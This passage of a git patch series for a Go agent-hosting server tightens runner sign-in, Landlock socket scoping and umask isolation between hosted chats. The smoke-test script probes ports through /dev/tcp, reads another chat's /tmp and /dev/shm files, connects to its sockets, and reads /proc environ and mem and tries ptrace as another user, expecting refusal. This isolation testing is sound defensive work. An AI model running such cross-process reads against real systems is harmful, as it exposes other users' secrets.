%s, want %d", w.Code, w.Body.String(), tc.want) + } + }) + } +} diff --git a/internal/factory/serve/workers.go b/internal/factory/serve/workers.go index 5a9fbc3be8..3a0fbc314c 100644 --- a/internal/factory/serve/workers.go +++ b/internal/factory/serve/workers.go @@ -138,14 +138,14 @@ func workerPath(path string) bool { strings.HasPrefix(path, "/v1/runners/leases/") || strings.HasPrefix(path, "/v1/runners/recover/") || path == "/v1/runners/pull" || path == "/v1/runners/presence" || path == "/v1/runner/self" } -// Local runner registration keeps its own door because a runner on this machine -// can attach before its person signs in. -func (h *Handler) localWorkerAttach(r *http.Request) bool { - if h.config.ServedBy == "app" || (r.URL.Path != "/v1/workers/attach" && r.URL.Path != "/v1/runners/attach") || bearer(r) != "" { - return false - } - _, cookieErr := r.Cookie(accessCookieName) - return cookieErr != nil && loopbackRequest(r) +// attachLocal is whether a runner registration may lean on the server's own +// computer: the request comes from it and the host trusts it (loopback_trust, +// on for a solo factory and off for a team one), or it is the app's private +// listener, where the host token is the credential anyway. A team factory with +// the setting off asks every runner for a runner credential, the same one a +// remote runner uses: the host's access token, or a signed-in person's session. +func (h *Handler) attachLocal(r *http.Request) bool { + return loopbackRequest(r) && (h.config.ServedBy == "app" || h.loopbackTrusted()) } func bearer(r *http.Request) string { @@ -277,7 +277,8 @@ func (h *Handler) attachWorker(w http.ResponseWriter, r *http.Request) { return } body.Name, body.Handle = strings.TrimSpace(body.Name), factory.NormalizeHandle(body.Handle) - if h.mode() == api.FactoryTeam && !loopbackRequest(r) && !h.floorToken(bearer(r)) { + local := h.attachLocal(r) + if h.mode() == api.FactoryTeam && !local && !h.floorToken(bearer(r)) { session, ok := h.credential(r) if !ok || session.profile == nil { h.fail(w, http.StatusForbidden, "Sign in with GitHub through an access link") @@ -292,12 +293,13 @@ func (h *Handler) attachWorker(w http.ResponseWriter, r *http.Request) { body.Handle = session.profile.Handle } if body.Handle == "" { - if !loopbackRequest(r) { + if !local { h.fail(w, http.StatusUnprocessableEntity, "worker attach requires a handle") return } - // Only a worker on this machine may use the factory's person when - // it has no forge login; an access token never supplies that identity. + // Only a worker on this machine, and only where the host trusts its own + // computer (loopback_trust), may use the factory's person when it has no + // forge login; an access token never supplies that identity. handle, err := h.seam.PersonHandle(r.Context()) if h.failed(w, err) { return diff --git a/internal/factory/worker/carry_stop_test.go b/internal/factory/worker/carry_stop_test.go index b7a3a25d7b..d1bfc8ab05 100644 --- a/internal/factory/worker/carry_stop_test.go +++ b/internal/factory/worker/carry_stop_test.go @@ -24,7 +24,10 @@ func TestTheWorkerCarriesAStopToARunThatGoesOnElsewhere(t *testing.T) { if err != nil { t.Fatal(err) } - h := serve.New(factory.LocalSeam(st, time.Now()), serve.Config{Mode: api.FactoryTeam, Store: st, PullWait: time.Millisecond}) + // This runner attaches with no credential from the host's own computer, which a + // team factory no longer allows unless it is told to. + trustLoopback := true + h := serve.New(factory.LocalSeam(st, time.Now()), serve.Config{Mode: api.FactoryTeam, LoopbackTrust: &trustLoopback, Store: st, PullWait: time.Millisecond}) s := httptest.NewServer(h) t.Cleanup(func() { s.Close(); h.Close() }) it, err := st.Create(factory.Item{Title: "Add Debits", State: factory.StateRunning, Assignee: "sam", WorktreeMachine: "studio", diff --git a/internal/factory/worker/reattach_lands_test.go b/internal/factory/worker/reattach_lands_test.go index 83dc6bf637..26e4472baf 100644 --- a/internal/factory/worker/reattach_lands_test.go +++ b/internal/factory/worker/reattach_lands_test.go @@ -33,7 +33,10 @@ func TestAJobReTakenMidRunLandsOnItsRunsPullRequest(t *testing.T) { if err != nil { t.Fatal(err) } - h := serve.New(factory.LocalSeam(st, time.Now()), serve.Config{Mode: api.FactoryTeam, Store: st, PullWait: time.Millisecond}) + // This runner attaches with no credential from the host's own computer, which a + // team factory no longer allows unless it is told to. + trustLoopback := true + h := serve.New(factory.LocalSeam(st, time.Now()), serve.Config{Mode: api.FactoryTeam, LoopbackTrust: &trustLoopback, Store: st, PullWait: time.Millisecond}) s := httptest.NewServer(h) t.Cleanup(func() { s.Close(); h.Close() }) // The run's own calls, as the runner that followed it before the restart diff --git a/internal/manual/chat/factory.md b/internal/manual/chat/factory.md index 2e8a1ccf03..220cccf496 100644 --- a/internal/manual/chat/factory.md +++ b/internal/manual/chat/factory.md @@ -249,7 +249,7 @@ The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/ On a single-person factory (`mode: solo`, and a window's own service) a request from the same computer with no sign-in is taken to be its owner: that is how the terminal and the desktop reach their own factory. On a team factory it is not. An organization's server never treats a request as a person because of where it came from: every request carries an identity, a person's token or sign-in, or a bot's token. A request from 127.0.0.1 with none is refused with the same 401 as one from another computer, so a reverse proxy, a container's health probe or a script on the server's own machine cannot act as the machine's owner. -The config key `loopback_trust` sets this. Unset, it is `true` in solo mode and `false` in team mode. A team factory that really is used by one person at one computer can set `loopback_trust: true` and gets the old behaviour back. It never makes a forwarded request local: a request that arrives through a proxy carrying `X-Forwarded-For`, `Forwarded` or `X-Real-Ip` is not treated as coming from this computer, whatever the key says, unless a proxy listed in `trusted_proxies` names a loopback caller in `X-Forwarded-For`. `/v1/about` and the sign-in routes stay open. +The config key `loopback_trust` sets this. Unset, it is `true` in solo mode and `false` in team mode. A team factory that really is used by one person at one computer can set `loopback_trust: true` and gets the old behaviour back. It never makes a forwarded request local: a request that arrives through a proxy carrying `X-Forwarded-For`, `Forwarded` or `X-Real-Ip` is not treated as coming from this computer, whatever the key says, unless a proxy listed in `trusted_proxies` names a loopback caller in `X-Forwarded-For`. `/v1/about` and the sign-in routes stay open. Registering a runner follows the same setting: on a team factory with it off, a runner on the server's own computer needs a runner credential like any remote one, the factory's access token or a signed-in person's session (`codeaf runner join ` or `--token`), and must name its handle unless its session does; the factory's own person never stands in for a runner that names none. On a solo factory nothing changes. ## GitHub rate limit on a team factory — "GitHub is rate-limited until", github_limited, operator access link after the reset diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index c47ccd57c1..e71db8bc3e 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3978,6 +3978,7 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"does a request from the server's own computer have to sign in on a team factory", "factory"}, {"what does loopback_trust do", "factory"}, {"is a request through a reverse proxy on the same machine treated as local", "factory"}, + {"can a runner on the same machine as my team server attach without a token", "factory"}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 6278b5f981eee07369da084379e4fbf287890802 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 04:19:39 -0500 Subject: [PATCH 036/176] docs: the chats.read method and dev's hello word are different things The paged remote reader keeps the method name chats.read, which the desk calls it by, and advertises itself under the hello word chats.read.paged. Dev's older chats.read word only says agents.entries follows a saved remote head. One sentence in PROTOCOL.md says so. Co-Authored-By: Claude Sonnet 5.5 --- docs/design/app-v3/PROTOCOL.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index a0d5c02480..6e49fefb6d 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -3584,7 +3584,9 @@ else and is advertised on its own terms: that `agents.entries` on a remote row follows a saved remote head without taking the chat. An engine may say either, both or neither, so a client checks `chats.read.paged` before calling the `chats.read` method and `chats.read` before relying on `agents.entries` for a -chat held elsewhere. +chat held elsewhere. The `chats.read` method and the older `chats.read` hello word +are different things that share a name: the method reads a page, and the word only +says `agents.entries` follows a saved remote head. `chats.crew` in `hello` says every `chats.list` row and `chat.changed` row carries the crew its chat belongs to on its holder, additively: `crew` (the From 73d1c6c8a6d3a1303beaf9b3952d901ad4a4475f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 04:25:43 -0500 Subject: [PATCH 037/176] enginehost: compare SocketPathUnder with the real socket path without the fit check The test asked SocketPath for the real path, and SocketPath refuses a state root that is too long for a socket, which a CI runner's temporary folder is. The test passed on a short /tmp and failed there. It now measures the same path through the unexported where and socketName. Co-Authored-By: Claude Sonnet 5.5 --- internal/enginehost/enginehost_test.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/internal/enginehost/enginehost_test.go b/internal/enginehost/enginehost_test.go index a15e3706ea..4922975781 100644 --- a/internal/enginehost/enginehost_test.go +++ b/internal/enginehost/enginehost_test.go @@ -749,14 +749,18 @@ func TestHostedPlanPageCarriesTheLedgersModel(t *testing.T) { } // SocketPathUnder is what a supervisor measures before it makes anybody a home, -// so it must be exactly as long as the socket a host really listens on. +// so it must be exactly as long as the socket a host really listens on. The +// length is compared WITHOUT the fit check ([SocketPath] refuses a long state +// root, and a CI runner's temporary folder is one), so the test does not depend +// on where it runs. func TestSocketPathUnderIsTheLengthOfARealHostSocket(t *testing.T) { root := t.TempDir() t.Setenv("CODEAF_HOME", root) - real, err := SocketPath("/work/some/place") + dir, err := where("/work/some/place") if err != nil { t.Fatal(err) } + real := filepath.Join(dir, socketName) if got := SocketPathUnder(root); len(got) != len(real) { t.Fatalf("SocketPathUnder is %d bytes, a real host socket is %d", len(got), len(real)) } From 8325476faed21f331269e576c42e332e466d9eca Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 05:09:01 -0500 Subject: [PATCH 038/176] executor: a required fence scopes abstract Unix sockets, and refuses where the kernel cannot Abstract Unix sockets have no owner and no file mode, so every process in one network namespace can connect to every other's, and the hosted chats on one machine share that namespace. A live check showed one chat connecting to a socket another chat was listening on. A required fence (the hosted engine's) now asks Landlock to scope them, so a command cannot connect to an abstract socket made outside its own fence, and where the kernel is older than Landlock ABI 6 the command is refused instead of run with the gap. A fence nobody required keeps the ruleset it always had. Co-Authored-By: Claude Sonnet 5.5 --- internal/executor/fence_linux.go | 46 +++++++++++++++++++-- internal/executor/fence_scope_linux_test.go | 41 ++++++++++++++++++ internal/executor/jail_linux.go | 8 ++-- 3 files changed, 88 insertions(+), 7 deletions(-) create mode 100644 internal/executor/fence_scope_linux_test.go diff --git a/internal/executor/fence_linux.go b/internal/executor/fence_linux.go index fde6b38556..d5962bb7dd 100644 --- a/internal/executor/fence_linux.go +++ b/internal/executor/fence_linux.go @@ -87,6 +87,11 @@ func confineFence(cmd *exec.Cmd, f *Fence) error { } return nil } + if _, ok := fenceScope(f, landlockABI()); !ok { + // A required fence that cannot keep this chat's local sockets apart from + // another's is no fence at all for the thing it was required for. + return ErrFenceRequired + } spec, err := writeFenceSpec(f, mode) if err != nil { return err @@ -245,10 +250,38 @@ func fenceReadOnly(f *Fence) error { return nil } +// abstractScopeABI is the first Landlock ABI that can scope abstract Unix sockets +// (Linux 6.12). +const abstractScopeABI = 6 + +// fenceScope is the Landlock scope a fence asks for and whether this kernel can +// give it. ONLY A REQUIRED FENCE SCOPES: abstract Unix sockets have no owner and +// no file mode, so every process in one network namespace can connect to every +// other's, and a hosted chat shares that namespace with every other chat on its +// machine. A command inside the scope cannot connect to an abstract socket made +// outside its own fence (which also means two separate commands of one chat do +// not reach each other's abstract sockets; filesystem sockets are untouched). +// A fence that is not required keeps the ruleset it always had, so a laptop's +// own commands are unchanged. +func fenceScope(f *Fence, abi int) (scoped uint64, ok bool) { + if !f.Require { + return 0, true + } + if abi < abstractScopeABI { + return 0, false + } + return unix.LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET, true +} + // fenceLandlockRules reads anywhere and writes only where the fence says. func fenceLandlockRules(f *Fence) error { - write := writeAccess(landlockABI()) - fd, err := createRuleset(readAccess | write) + abi := landlockABI() + write := writeAccess(abi) + scoped, ok := fenceScope(f, abi) + if !ok { + return ErrFenceRequired + } + fd, err := createRuleset(readAccess|write, scoped) if err != nil { return err } @@ -292,8 +325,13 @@ const fileRead = unix.LANDLOCK_ACCESS_FS_EXECUTE | unix.LANDLOCK_ACCESS_FS_READ_ // the checkout (a worktree's); the checkout's own .git, and its .codeaf, are // written like the rest of the checkout, which [FencePartialLine] says. func fenceLandlockOnly(f *Fence) error { - write := writeAccess(landlockABI()) - fd, err := createRuleset(readAccess | write) + abi := landlockABI() + write := writeAccess(abi) + scoped, ok := fenceScope(f, abi) + if !ok { + return ErrFenceRequired + } + fd, err := createRuleset(readAccess|write, scoped) if err != nil { return err } diff --git a/internal/executor/fence_scope_linux_test.go b/internal/executor/fence_scope_linux_test.go new file mode 100644 index 0000000000..e71267c2c9 --- /dev/null +++ b/internal/executor/fence_scope_linux_test.go @@ -0,0 +1,41 @@ +//go:build linux + +package executor + +import ( + "testing" + + "golang.org/x/sys/unix" +) + +// The contract, in the words of a person whose chat shares a machine with other +// people's: +// +// C2 a command in my chat cannot connect to an abstract Unix socket that a +// command in another chat is listening on (abstract sockets have no owner +// and no file mode, so only the fence can keep them apart). Where the kernel +// cannot do that, the chat's commands are refused rather than run with the +// gap. A fence nobody required keeps the ruleset it always had. +func TestC2_RequiredFenceScopesAbstractSocketsOrRefuses(t *testing.T) { + for _, tc := range []struct { + name string + require bool + abi int + wantScoped uint64 + wantOK bool + }{ + {"a laptop's fence is unchanged on an old kernel", false, 3, 0, true}, + {"a laptop's fence is unchanged on a new kernel", false, 7, 0, true}, + {"a required fence scopes abstract sockets where the kernel can", true, 6, unix.LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET, true}, + {"and on every later version", true, 7, unix.LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET, true}, + {"a required fence is refused where the kernel cannot", true, 5, 0, false}, + {"and where there is no Landlock at all", true, 0, 0, false}, + } { + t.Run(tc.name, func(t *testing.T) { + scoped, ok := fenceScope(&Fence{Require: tc.require}, tc.abi) + if scoped != tc.wantScoped || ok != tc.wantOK { + t.Fatalf("scope %#x ok %v, want %#x %v", scoped, ok, tc.wantScoped, tc.wantOK) + } + }) + } +} diff --git a/internal/executor/jail_linux.go b/internal/executor/jail_linux.go index 6725007a64..61b3367bd6 100644 --- a/internal/executor/jail_linux.go +++ b/internal/executor/jail_linux.go @@ -168,7 +168,7 @@ func applyLandlock(enabled bool, root string) error { } abi := landlockABI() write := writeAccess(abi) - fd, err := createRuleset(readAccess | write) + fd, err := createRuleset(readAccess|write, 0) if err != nil { return err } @@ -189,8 +189,10 @@ func applyLandlock(enabled bool, root string) error { return errnoErr(errno) } -func createRuleset(handled uint64) (int, error) { - attr := unix.LandlockRulesetAttr{Access_fs: handled} +// createRuleset makes a Landlock ruleset that handles the given file accesses and, +// when scoped is not zero, the given scopes (kernels from Landlock ABI 6 on). +func createRuleset(handled, scoped uint64) (int, error) { + attr := unix.LandlockRulesetAttr{Access_fs: handled, Scoped: scoped} fd, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, uintptr(unsafe.Pointer(&attr)), unsafe.Sizeof(attr), 0) return int(fd), errnoErr(errno) From 53b775fc2042af31fa49d1ffe4767adf101d4f27 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 05:09:01 -0500 Subject: [PATCH 039/176] sessionhost: chats start with umask 077, and a kernel that cannot scope local sockets starts none /tmp and /dev/shm are one folder for every chat on the machine, and a file made there with the usual umask 022 was readable by every other chat (checked live). Chat processes now start with 077. The probe also refuses fenced mode where Landlock is older than ABI 6, because abstract Unix sockets belong to no user and only the fence can keep chats from each other's; an operator who accepts that says so with CODEAF_SESSIONHOST_REQUIRE=uid. Co-Authored-By: Claude Sonnet 5.5 --- internal/sessionhost/api_test.go | 19 +++++++++++++++++++ internal/sessionhost/launch_linux.go | 5 +++++ internal/sessionhost/probe.go | 10 ++++++++++ 3 files changed, 34 insertions(+) diff --git a/internal/sessionhost/api_test.go b/internal/sessionhost/api_test.go index 9b6295a498..cc569302bd 100644 --- a/internal/sessionhost/api_test.go +++ b/internal/sessionhost/api_test.go @@ -381,3 +381,22 @@ func TestC9_PlainWords(t *testing.T) { } } } + +// C2: abstract Unix sockets belong to no user, so a fenced chat is only kept apart from +// the others where the kernel can scope them (Landlock ABI 6, Linux 6.12). Below that the +// machine refuses to start chats unless the operator chose process-only isolation. +func TestC2_FencedModeNeedsAKernelThatScopesAbstractSockets(t *testing.T) { + report := func(abi int, require string) Report { + return Report{Require: require, UIDSwitch: SwitchReport{OK: true}, Landlock: LandlockReport{Available: abi > 0, ABI: abi}} + } + if got := report(5, modeFenced).decide(); got.OK || got.Mode != modeRefused || + got.Reason != "command restrictions cannot keep one chat's local sockets from another's on this kernel" { + t.Fatalf("an old kernel passed or was unexplained: %+v", got) + } + if got := report(6, modeFenced).decide(); !got.OK || got.Mode != modeFenced { + t.Fatalf("a kernel that can scope was refused: %+v", got) + } + if got := report(5, modeUID).decide(); !got.OK || got.Mode != modeUID { + t.Fatalf("the operator's explicit process-only choice was refused: %+v", got) + } +} diff --git a/internal/sessionhost/launch_linux.go b/internal/sessionhost/launch_linux.go index 595bade330..758f688f6c 100644 --- a/internal/sessionhost/launch_linux.go +++ b/internal/sessionhost/launch_linux.go @@ -79,6 +79,11 @@ func launch(args []string) error { return errors.New("Could not block new process privileges.") } _ = os.WriteFile("/proc/self/oom_score_adj", []byte("500"), 0) + // A chat's files are its own. /dev/shm and /tmp are shared by every chat on + // the machine and a file made there with the usual 022 is readable by all of + // them, so what a chat's processes create is closed to everyone else unless + // the chat itself opens it up. + unix.Umask(0o077) // Linux requires CAP_SETPCAP to drop a bounding bit. The identity // switch clears that capability, so the exec thread must drop the diff --git a/internal/sessionhost/probe.go b/internal/sessionhost/probe.go index a99cbcd2e6..f64533987a 100644 --- a/internal/sessionhost/probe.go +++ b/internal/sessionhost/probe.go @@ -2,6 +2,10 @@ package sessionhost // Report is the operator-facing feasibility report, with a compact projection // served by the health endpoint. +// abstractScopeABI is the first Landlock version that can scope abstract Unix +// sockets (Linux 6.12); internal/executor refuses a required fence below it too. +const abstractScopeABI = 6 + type Report struct { OK bool `json:"ok"` Mode string `json:"mode"` @@ -47,6 +51,12 @@ func (r Report) decide() Report { r.OK, r.Mode, r.Reason = true, modeUID, "" case r.FenceMode == "none": r.Reason = "command restrictions are unavailable" + case r.Landlock.ABI < abstractScopeABI: + // Abstract Unix sockets belong to no user, so only the fence can keep one + // chat from connecting to another's, and only a kernel from Linux 6.12 can + // make the fence do that. An operator who accepts the gap says so with + // CODEAF_SESSIONHOST_REQUIRE=uid, which is checked above. + r.Reason = "command restrictions cannot keep one chat's local sockets from another's on this kernel" default: r.OK, r.Mode, r.Reason = true, modeFenced, "" } From 54fe17696904bd9c1c540f502c1d922c0668d2d8 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 05:09:02 -0500 Subject: [PATCH 040/176] manual: what a hosted chat's commands cannot reach, including shared folders and local sockets Co-Authored-By: Claude Sonnet 5.5 --- internal/manual/chat/organization-hosted-sessions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index ad131bc842..b356590dd4 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -34,7 +34,7 @@ The organization's operator keeps the machine and its disk. See *what can the op Each chat belongs to the person who made it. Another person cannot open it, list it, stop it or delete it, and cannot tell it exists: asking for someone else's chat gets the same answer as asking for one that was never made, `There is no such chat.` -A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. That holds between two chats of the same person too. +A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. What the operator of the machine could do is a separate matter: see *what can the operator of the server see*. @@ -72,7 +72,7 @@ Both are done through the organization's server by its owner, and only its owner ## the server says it cannot keep my chat apart — hosted chat refusals -The machine that runs chats measures what it can do when it starts. A chat only runs where two things hold: each chat can run as a separate user of the machine, and the machine can confine a chat's commands to its own folder. If it cannot, it starts no chats and says: `This server cannot keep your chat apart from other people's, so it did not start one.` That is the operator's to fix. +The machine that runs chats measures what it can do when it starts. A chat only runs where two things hold: each chat can run as a separate user of the machine, and the machine can confine a chat's commands to its own folder, including keeping its local sockets from other chats, which needs Linux 6.12 or newer. If it cannot, it starts no chats and says: `This server cannot keep your chat apart from other people's, so it did not start one.` That is the operator's to fix. If the machine cannot confine commands, a command in a chat is not run at all, and you read: `This computer cannot keep commands inside this chat's folder, so no command was run.` It never runs the command with fewer limits instead. From 0d3c07fea9d2c2f070b28689cca9bc5e320d85c0 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 05:09:02 -0500 Subject: [PATCH 041/176] deploy/org: the smoke checks what chats share (shared folders, abstract sockets, the engine socket, process internals) Each is checked with a control that shows the check can pass: a chat's own abstract socket and its own engine socket work from inside the chat, and the chat's own user can read its own process's environment. The kernel answers for another chat's user are asked by a plain script running as that user, so the engine's own wording check is not what refuses. README says what the fence now needs (Linux 6.12 or newer) and that chats start with umask 077. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 6 +++- deploy/org/scripts/smoke.py | 62 +++++++++++++++++++++++++++++++++++++ 2 files changed, 67 insertions(+), 1 deletion(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 072331e41f..cb153bdaf5 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -127,7 +127,11 @@ because it has to become a different Linux user for every chat. It is built from apply one, the chat's commands are refused, never run open; if it cannot switch users it starts no chats and says so (`codeaf sessionhost probe` prints what it measured; `ok: false` is a refusal). `CODEAF_SESSIONHOST_REQUIRE=uid` (default `uid+fence`) lets an operator whose kernel has no fence run on the - user switch alone; it says so once at start and in every chat's `warning`, and it is not a default. + user switch alone; it says so once at start and in every chat's `warning`, and it is not a default. The fence + also scopes abstract Unix sockets (they belong to no user, so nothing else keeps one chat from connecting to + another's), which needs Landlock ABI 6 (Linux 6.12 or newer): on an older kernel the probe says so and the + machine starts no chats unless the operator chose `REQUIRE=uid`. Chats also start with `umask 077`, because + `/tmp` and `/dev/shm` are shared by every chat on the machine; a chat can still open its own files up. - **No keys.** The sessionhost holds no organization secret except the one it shares with the organization server, no AgentField key, no GitHub token and no model key. A chat reaches a model only through the organization server's `/v1/model/` door with a bearer the server minted for that chat (twelve hours, ended on diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index 4d819e4e3b..c07d7b24fd 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -575,6 +575,34 @@ def hosted(): status, out, _ = chat(owner, 'bash: cat %s/secretB 2>&1; echo "READ $?"; cat secretA' % member_work, session=second_id) check('C2 the same person\'s other chat cannot read a chat either', field(out, 'READ') not in (None, '0') and 'mine' not in out, short(out, 160)) + # C2 beyond files: what every chat on the machine shares and no chat owns. Abstract Unix sockets have no owner and no + # file mode at all, and /dev/shm and /tmp are one folder for everybody, so the fence and the umask are what keep + # chats apart there. The first chat leaves each of them behind; the member's chat reaches for them. + abstract_server = ('import socket\ns = socket.socket(socket.AF_UNIX)\ns.bind("\\0gap")\ns.listen(5)\n' + 'while True:\n c, _ = s.accept()\n c.sendall(b"ABSTRACT-OPEN")\n c.close()') + engine_connect = ('import socket, hashlib, os, sys\nw = sys.argv[1]\n' + 'p = os.path.join(os.path.dirname(w), "home", "v3", "hosts", hashlib.sha256(w.encode()).digest()[:8].hex(), "host.sock")\n' + 's = socket.socket(socket.AF_UNIX)\ntry:\n s.connect(p)\n print("%s connected")\nexcept OSError as e:\n print("%s refused", e.errno)') + leave = ("echo a-secret > /dev/shm/gap-a; echo a-secret > /tmp/gap-a; " + "setsid python3 -c '" + abstract_server + "' /dev/null 2>&1 & sleep 1; " + 'python3 -c \'' + (engine_connect % ('OWNENGINE', 'OWNENGINE')) + '\' "$PWD"') + status, out, err = chat(owner, 'bash: ' + leave, session=first_id) + trace('the first chat leaving things behind', 'OWNENGINE ', status, out, err) + own_engine = field(out, 'OWNENGINE') or '' + reach = ('cat /dev/shm/gap-a 2>&1; echo "SHM $?"; cat /tmp/gap-a 2>&1; echo "TMP $?"; ' + "python3 -c 'import socket\ns = socket.socket(socket.AF_UNIX)\ns.settimeout(3)\ntry:\n s.connect(\"\\0gap\")\n print(\"ABS connected\", s.recv(20))\n" + "except OSError as e:\n print(\"ABS refused\", e.errno)'; " + "python3 -c 'import socket\na = socket.socket(socket.AF_UNIX)\na.bind(\"\\0gap-own\")\na.listen(1)\nb = socket.socket(socket.AF_UNIX)\nb.connect(\"\\0gap-own\")\nprint(\"PAIR ok\")'; " + "python3 -c '" + (engine_connect % ('ENGINE', 'ENGINE')) + "' " + work) + status, out, err = chat(member, 'bash: ' + reach, session=member_id) + trace('the member reaching for what the machine shares', 'SHM ', status, out, err) + check('C2 the first chat could reach its own engine (so the next check means something)', own_engine.startswith('connected'), own_engine) + check('C2 a file another chat left in /dev/shm cannot be read (the usual umask is closed to others)', field(out, 'SHM') not in (None, '0') and 'a-secret' not in out, field(out, 'SHM')) + check('C2 a file another chat left in /tmp cannot be read', field(out, 'TMP') not in (None, '0'), field(out, 'TMP')) + check('C2 another chat\'s abstract Unix socket cannot be connected to', (field(out, 'ABS') or '').startswith('refused'), field(out, 'ABS')) + check('C2 a command can still use an abstract socket of its own (so that check means something)', field(out, 'PAIR') == 'ok', field(out, 'PAIR')) + check('C2 another chat\'s engine cannot be connected to', (field(out, 'ENGINE') or '').startswith('refused'), field(out, 'ENGINE')) + # C3 and C3b: what a chat's shell can find, and where it can go. net = ('p() { timeout 4 bash -c "exec 3<>/dev/tcp/$1/$2" 2>/dev/null && echo "NET $1:$2 open" || echo "NET $1:$2 closed"; }; ' 'h() { exec 3<>/dev/tcp/$1/$2; printf "$3 $4 HTTP/1.0\\r\\nHost: x\\r\\n\\r\\n" >&3; head -n1 <&3; }; ' @@ -732,6 +760,40 @@ def work(): check('C3 the chat\'s shell has none of the organization\'s secrets or model keys in its environment', bool(shells) and not [r for r in shells if r['bad'] or 'OPENAI_API_KEY' in r['names']], [(r['command'], r['bad'], r['names']) for r in shells][:2]) + # What the kernel answers another chat's user about a chat's process, asked by a plain script running as that user + # (so the engine's own wording check on commands is not what refuses). The chat's own user is the control. + import ctypes + target = state['owner_first']['pid'] + + def about_process(pid): + def work(): + libc = ctypes.CDLL(None, use_errno=True) + answers = {} + for name, path, size in (('environ', 'environ', 1), ('mem', 'mem', 0)): + try: + with open('/proc/%s/%s' % (pid, path), 'rb') as handle: + if size: + handle.read(size) + answers[name] = 0 + except OSError as error: + answers[name] = error.errno + answers['ptrace'] = 0 if libc.ptrace(16, int(pid), 0, 0) == 0 else ctypes.get_errno() + if answers['ptrace'] == 0: + libc.ptrace(17, int(pid), 0, 0) + return answers + return work + + first_dir = os.path.dirname(state['owner_first']['work']) + member_dir = os.path.dirname(state['member']['work']) + own = as_user(os.stat(first_dir).st_uid, os.stat(first_dir).st_gid, about_process(target)) if os.path.exists('/proc/' + target) else None + other = as_user(os.stat(member_dir).st_uid, os.stat(member_dir).st_gid, about_process(target)) if os.path.exists('/proc/' + target) else None + # Only environ has a meaningful control: reading memory or attaching with ptrace is refused to the same user too where the + # kernel's Yama setting is restrictive, so for those two the answer is Yama's and the user rule's together (a different + # user needs CAP_SYS_PTRACE, which no chat has). + check('C2 the first chat\'s own user can read its own process\'s environment (so the next checks mean something)', bool(own) and own.get('environ') == 0, own) + for name in ('environ', 'mem', 'ptrace'): + check(f'C2 another chat\'s user is refused by the kernel: its process\'s {name}', bool(other) and other.get(name) in (1, 13), (other or {}).get(name)) + chat_dir = os.path.dirname(state['owner_first']['work']) planted = os.path.join(state['owner_first']['work'], 'planted') check('C2 nothing another chat tried to write reached this chat\'s folder', read_as_chat_user(chat_dir, planted) is None, planted) From b50218e5e0edb22b215120c6394e6ffefc215e21 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 06:43:43 -0500 Subject: [PATCH 042/176] store: a hosted chat's model bearers persist as hashes, and each person's own keys are sealed under a key of their own The bearer table lives in hosted-bearers.json (hash, chat, person, expiry; never a token). A person's provider key and GitHub token live in person-keys.json, each sealed with AES-256-GCM under a per-person data key that a server key wraps, with a canary that makes a wrong server key a clear refusal. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/store/hosted_bearers.go | 78 +++ internal/factory/store/hosted_bearers_test.go | 66 +++ internal/factory/store/person_keys.go | 443 ++++++++++++++++++ internal/factory/store/person_keys_test.go | 225 +++++++++ 4 files changed, 812 insertions(+) create mode 100644 internal/factory/store/hosted_bearers.go create mode 100644 internal/factory/store/hosted_bearers_test.go create mode 100644 internal/factory/store/person_keys.go create mode 100644 internal/factory/store/person_keys_test.go diff --git a/internal/factory/store/hosted_bearers.go b/internal/factory/store/hosted_bearers.go new file mode 100644 index 0000000000..65c9cad134 --- /dev/null +++ b/internal/factory/store/hosted_bearers.go @@ -0,0 +1,78 @@ +package store + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "time" +) + +// ── THE SAVED MODEL ACCESS OF HOSTED CHATS ───────────────────────────────── +// +// A hosted chat's engine is given a model bearer once and keeps it for as long +// as the chat runs, so the organization's server must still recognise that +// bearer after the server itself restarts. The table of live bearers is saved +// here for that reason and for no other. +// +// THE FILE HOLDS NO BEARER. Each row is keyed by the sha256 of the text a chat +// presents, so a copy of 